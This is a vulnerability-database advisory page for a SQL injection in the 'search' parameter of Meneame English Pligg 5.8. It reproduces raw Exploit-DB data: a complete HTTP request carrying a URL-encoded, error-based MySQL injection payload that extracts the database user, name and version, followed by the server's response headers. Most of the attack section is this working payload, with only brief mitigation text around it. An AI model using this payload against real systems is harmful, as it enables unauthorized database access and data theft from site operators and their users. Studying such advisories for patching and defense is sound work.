Meneame English Pligg 5.8 - 'search' SQL Injection

vendor:

Pligg

by:

Ihsan Sencan

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Pligg

Affected Version From: 5.8

Affected Version To: 5.8

Patch Exists: NO

Related CWE: N/A

CPE: a:meneame_english:pligg:5.8

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Meneame English Pligg 5.8 – ‘search’ SQL Injection

A SQL injection vulnerability exists in Meneame English Pligg 5.8. An attacker can send a specially crafted HTTP request to the vulnerable application in order to execute arbitrary SQL commands in the back-end database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Meneame English Pligg 5.8 - 'search' SQL Injection
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/meneame-english/
# Software Link: https://master.dl.sourceforge.net/project/meneame/meneame/Beta%205.8/Pligg_Beta_5.8.rar
# Version: 5.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?search=[SQL]
# 
GET /[PATH]/?search=%61%27%29%20%41%4e%44%20(SeleCT%20%27Efe%27%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))%20--%20Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 15:10:50 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 7044
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8